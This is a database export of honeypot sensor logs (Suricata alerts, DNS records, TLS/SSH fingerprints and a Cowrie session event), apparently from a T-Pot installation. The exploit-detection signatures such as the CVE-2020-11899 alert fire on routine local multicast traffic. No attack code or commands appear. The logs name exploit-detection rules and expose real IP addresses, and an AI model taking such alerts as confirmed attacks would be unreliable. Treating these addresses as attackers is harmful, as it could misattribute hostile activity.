"smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36562, "timestamp": "2021-09-20T12:03:48.200462", "@timestamp": "2021-09-20T12:03:48.200Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34781	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:03:48.887328+03	2021-09-20 15:15:02.35869+03	{"_id": "4AYXA3wBvYTbRNuER1ed", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:03:48.887328+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 101}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "UDP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:00fb", "flow_id": 1024484868131360, "payload": "AAAAAAABAAAAAAAAD0RFU0tUT1AtMFZRRDYxQgVsb2NhbAAA/wAB", "@version": "1", "in_iface": "enp5s0", "src_port": 5353, "app_proto": "failed", "dest_port": 5353, "timestamp": "2021-09-20T12:03:48.887328Z", "@timestamp": "2021-09-20T12:03:48.887Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".............DESKTOP-0VQD61B.local....."}}	1	\N	\N	alert	\N	\N
34783	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:03:48.888144+03	2021-09-20 15:15:02.36069+03	{"_id": "5wYXA3wBvYTbRNuER1ee", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:03:48.888144+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 95}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "UDP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0001:0003", "flow_id": 1311287751773520, "payload": "/oEAAAABAAAAAAAAD0RFU0tUT1AtMFZRRDYxQgAA/wAB", "@version": "1", "in_iface": "enp5s0", "src_port": 58201, "app_proto": "failed", "dest_port": 5355, "timestamp": "2021-09-20T12:03:48.888144Z", "@timestamp": "2021-09-20T12:03:48.888Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".............DESKTOP-0VQD61B....."}}	1	\N	\N	alert	\N	\N
34784	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:03:48.819913+03	2021-09-20 15:15:02.361691+03	{"_id": "5QYXA3wBvYTbRNuER1ed", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:03:48.819913Z", "@timestamp": "2021-09-20T12:03:48.819Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34785	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:03:48.883383+03	2021-09-20 15:15:02.36469+03	{"_id": "5gYXA3wBvYTbRNuER1ed", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:03:47.553032+0000", "pkts_toclient": 0, "pkts_toserver": 7, "bytes_toclient": 0, "bytes_toserver": 650}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246604955720, "payload": "AAAAAQMAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:03:48.883383Z", "@timestamp": "2021-09-20T12:03:48.883Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
34786	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:03:49.670274+03	2021-09-20 15:15:02.366693+03	{"_id": "6QYXA3wBvYTbRNuER1ee", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 65281, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2445, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 2100812262487527, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 59463, "timestamp": "2021-09-20T12:03:49.670274Z", "@timestamp": "2021-09-20T12:03:49.670Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
34787	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:03:48.815888+03	2021-09-20 15:15:02.367693+03	{"_id": "6gYXA3wBvYTbRNuER1ee", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:03:48.815888+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 86}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0001", "flow_id": 1605383489876752, "payload": "IAAAAP6AAAAAAAAAJUa1YjrwnwI=", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 136, "timestamp": "2021-09-20T12:03:48.815888Z", "@timestamp": "2021-09-20T12:03:48.815Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": " ...........%F.b:..."}}	1	\N	\N	alert	\N	\N
34789	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:03:48.889069+03	2021-09-20 15:15:02.370722+03	{"_id": "7AYXA3wBvYTbRNuER1ee", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:03:47.553032+0000", "pkts_toclient": 0, "pkts_toserver": 9, "bytes_toclient": 0, "bytes_toserver": 830}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246604955720, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:03:48.889069Z", "@timestamp": "2021-09-20T12:03:48.889Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
34790	192.168.20.103	109.199.241.180	Suricata	2021-09-20 15:03:48.947574+03	2021-09-20 15:15:02.37172+03	{"_id": "7QYXA3wBvYTbRNuER1ee", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.252", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:03:48.947574Z", "@timestamp": "2021-09-20T12:03:48.947Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34791	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:03:49.355686+03	2021-09-20 15:15:02.37272+03	{"_id": "7gYXA3wBvYTbRNuER1ee", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:03:47.553032+0000", "pkts_toclient": 0, "pkts_toserver": 10, "bytes_toclient": 0, "bytes_toserver": 960}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246604955720, "payload": "AAAAAwQAAAD/AgAAAAAAAAAAAAAAAAD7BAAAAP8CAAAAAAAAAAAAAAABAAMEAAAA/wIAAAAAAAA=", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:03:49.355686Z", "@timestamp": "2021-09-20T12:03:49.355Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........................................................"}}	1	\N	\N	alert	\N	\N
34792	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:03:50.076634+03	2021-09-20 15:15:02.373719+03	{"_id": "9gYXA3wBvYTbRNuES1eG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 25872, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2444, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1501449576391754, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 49564, "timestamp": "2021-09-20T12:03:50.076634Z", "@timestamp": "2021-09-20T12:03:50.076Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
34793	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:03:49.758791+03	2021-09-20 15:15:02.374726+03	{"_id": "_QYXA3wBvYTbRNuETFfs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 36018, "timestamp": "2021-09-20T12:03:49.758791", "@timestamp": "2021-09-20T12:03:49.758Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
34801	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:03:50.808151+03	2021-09-20 15:15:02.38569+03	{"_id": "AwYXA3wBvYTbRNuET1hx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:03:47.553032+0000", "pkts_toclient": 0, "pkts_toserver": 12, "bytes_toclient": 0, "bytes_toserver": 1140}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246604955720, "payload": "AAAAAQMAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:03:50.808151Z", "@timestamp": "2021-09-20T12:03:50.808Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
34794	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:03:50.126784+03	2021-09-20 15:15:02.376691+03	{"_id": "AQYXA3wBvYTbRNuETFjt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 36020, "dest_port": 443, "timestamp": "2021-09-20T12:03:50.126784", "@timestamp": "2021-09-20T12:03:50.126Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
34795	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 15:03:50.961548+03	2021-09-20 15:15:02.377691+03	{"_id": "AgYXA3wBvYTbRNuETlhP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "36090962a7f1", "@version": "1", "duration": 2.7627198696136475, "timestamp": "2021-09-20T12:03:50.961548Z", "@timestamp": "2021-09-20T12:03:50.961Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
34796	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:03:50.804251+03	2021-09-20 15:15:02.37869+03	{"_id": "CgYXA3wBvYTbRNuET1hx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:03:50.804251Z", "@timestamp": "2021-09-20T12:03:50.804Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34797	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:03:50.808936+03	2021-09-20 15:15:02.379689+03	{"_id": "CwYXA3wBvYTbRNuET1hx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:03:50.808936Z", "@timestamp": "2021-09-20T12:03:50.808Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34798	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:03:50.806672+03	2021-09-20 15:15:02.381691+03	{"_id": "CAYXA3wBvYTbRNuET1hx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:03:47.553032+0000", "pkts_toclient": 0, "pkts_toserver": 11, "bytes_toclient": 0, "bytes_toserver": 1050}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246604955720, "payload": "AAAAAQMAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:03:50.806672Z", "@timestamp": "2021-09-20T12:03:50.806Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
34799	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:03:51.31696+03	2021-09-20 15:15:02.38269+03	{"_id": "DQYXA3wBvYTbRNuET1hx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:03:51.316960Z", "@timestamp": "2021-09-20T12:03:51.316Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34800	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:03:52.30408+03	2021-09-20 15:15:02.383691+03	{"_id": "FQYXA3wBvYTbRNuEU1hZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:03:52.304080Z", "@timestamp": "2021-09-20T12:03:52.304Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34803	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:03:50.819887+03	2021-09-20 15:15:02.38769+03	{"_id": "EQYXA3wBvYTbRNuET1hx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:03:47.553032+0000", "pkts_toclient": 0, "pkts_toserver": 14, "bytes_toclient": 0, "bytes_toserver": 1320}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246604955720, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:03:50.819887Z", "@timestamp": "2021-09-20T12:03:50.819Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
34804	192.168.20.103	109.199.241.180	Suricata	2021-09-20 15:03:50.949957+03	2021-09-20 15:15:02.388689+03	{"_id": "BgYXA3wBvYTbRNuET1hx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.251", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:03:50.949957Z", "@timestamp": "2021-09-20T12:03:50.949Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34805	192.168.20.103	109.199.241.180	Suricata	2021-09-20 15:03:51.946792+03	2021-09-20 15:15:02.38969+03	{"_id": "EwYXA3wBvYTbRNuEU1hY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.252", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:03:51.946792Z", "@timestamp": "2021-09-20T12:03:51.946Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
